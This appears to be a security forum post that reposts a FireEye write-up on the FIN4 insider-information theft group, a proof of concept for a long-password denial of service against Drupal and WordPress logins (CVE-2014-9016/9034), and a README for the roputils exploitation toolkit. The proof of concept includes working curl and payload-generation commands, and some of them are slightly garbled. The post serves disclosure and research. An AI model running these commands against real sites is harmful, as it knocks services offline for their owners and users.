[h=2]FIN4: Stealing Insider Information for an Advantage in Stock Trading?[/h] November 30, 2014 | By Kristen Dennesen, Barry Vengerik, Jonathan Wrolstad, Jordan Berry | Threat Intelligence, Threat Research At FireEye, we investigate cyber threat activity that typically aligns with one of two goals: the pursuit of sensitive information to fulfill a government’s goals, or the theft of data for financial gain. The media echoes these two objectives daily in news stories about Eastern European cybercriminals stealing payment card data from retailers, or China-based threat groups targeting high tech firms’ latest innovations. A reader skimming the headline, “Hackers Steal Data from Pharmaceutical Firms” could be forgiven for assuming that the article tells the story of a government-backed group in pursuit of new drug innovations. However, in a campaign FireEye is uncovering today, this headline tells another story. FireEye tracks a threat group that we call “FIN4,” whose intrusions seem to have a different objective: to obtain an edge in stock trading. FIN4 appears to conduct intrusions that are focused on a single objective: obtaining access to insider information capable of making or breaking the stock prices of public companies. The group specifically targets the emails of C-level executives, legal counsel, regulatory, risk, and compliance personnel, and other individuals who would regularly discuss confidential, market-moving information. FIN4 has targeted over 100 companies since at least mid-2013. All of the targeted organizations are either public companies or advisory firms that provide services to public companies (such as investor relations, legal, and investment banking firms). Over two-thirds of the targeted organizations are healthcare and pharmaceutical companies. FIN4 probably focuses on these types of organizations because their stocks can move dramatically in response to news of clinical trial results, regulatory decisions, or safety and legal issues. We’ve been able to characterize FIN4’s activity via our incident response engagements, FIN4’s attempts to compromise our managed service clients, our product detection data, and further independent research. Our visibility into FIN4’s activities is limited to its network operations; we can only surmise how they may be using and potentially benefitting from the valuable information they are able to obtain. However, one fact remains clear: access to insider information that could significantly impact stock prices for dozens of publicly traded companies surely puts FIN4 at a considerable trading advantage. FireEye is releasing indicators to help organizations detect FIN4 activity. Those indicators can be downloaded here. The complete report can be downloaded. Sursa: https://www.fireeye.com/blog/threat-research/2014/11/.VHyDXpVKxoQ.twitter

CVE-2014-9016 and CVE-2014-9034 Proof of Concept Assuming that time enough has happened since the security update was released by Wordpress and Drupal, we want to share our researches. As you already know, we believe in Responsible Disclosure and that is the reason why we didn't publish this post before. [h=2]Drupal Denial of Service CVE-2014-9016[/h] Generate a pyaload and try with a non-valid user: $ echo -n "name=NO-VALID-USER&pass=" > no_valid_user_payload && printf "%s" {1..1000000} >> no_valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> no_valid_user_payload $ time curl --data @no_valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null & Generate a pyaload and try with a valid user: $ echo -n "name=admin&pass=" > valid_user_payload && printf "%s" {1..1000000} >> valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> valid_user_payload $ time curl --data @valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null &); sleep 0.25; done [h=2]Python Code[/h] https://github.com/c0r3dump3d/wp_drupal_timing_attack [h=2]References[/h] Wordpress Denial of Service Responsible Disclosure - Attacking with long passwords ~ Hacking while you're asleep Drupal Denial of Service Responsible Disclosure - Attacking with long passwords ~ Hacking while you're asleep Timing Attack and the importance of controlling the length of the input – The Case of Drupal CVE-2014-9016. | # /dev/console https://wordpress.org/news/2014/11/wordpress-4-0-1/ https://www.drupal.org/SA-CORE-2014-006 https://www.drupal.org/node/2378367 NVD - Detail http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9016 Sursa: CVE-2014-9016 and CVE-2014-9034 Proof of Concept ~ Hacking while you're asleep

[h=1]roputils[/h] A Return-oriented Programming toolkit [h=2]Usage[/h] examples/ropasaurusrex.py is a write-up of ropasaurusrex in PlaidCTF 2013. [h=2]Overview[/h] Currently roputils.py has 7 classes: ELF, ROP, ROPBlob, Shellcode, FormatStr, Proc, Pattern. ELF: information about ELF object retrieved by readelf ROP: subclass of ELF, with additional methods for creating ROP sequence ROPBlob: subclass of ROP, for creating ROP sequence from leaked memory Shellcode: x86 and x64 shellcode builder FormatStr: create format string for exploitation Proc: gateway interface of subprocess and socket Pattern: create Metasploit pattern and calculate its offset roputils.py also can be used as CLI tool, has 7 subcommands: checksec, create, offset, gadget, scan, asm, objdump. checksec: a clone of checksec.sh create: call Pattern.create() offset: call Pattern.offset() gadget: availability check for tiny gadgets scan: search the binary chunk and disassemble from there asm: x86 and x64 assembler/disassembler objdump: disassemble with IDA-like annotations For more details, just read the codes. Sursa: https://github.com/inaz2/roputils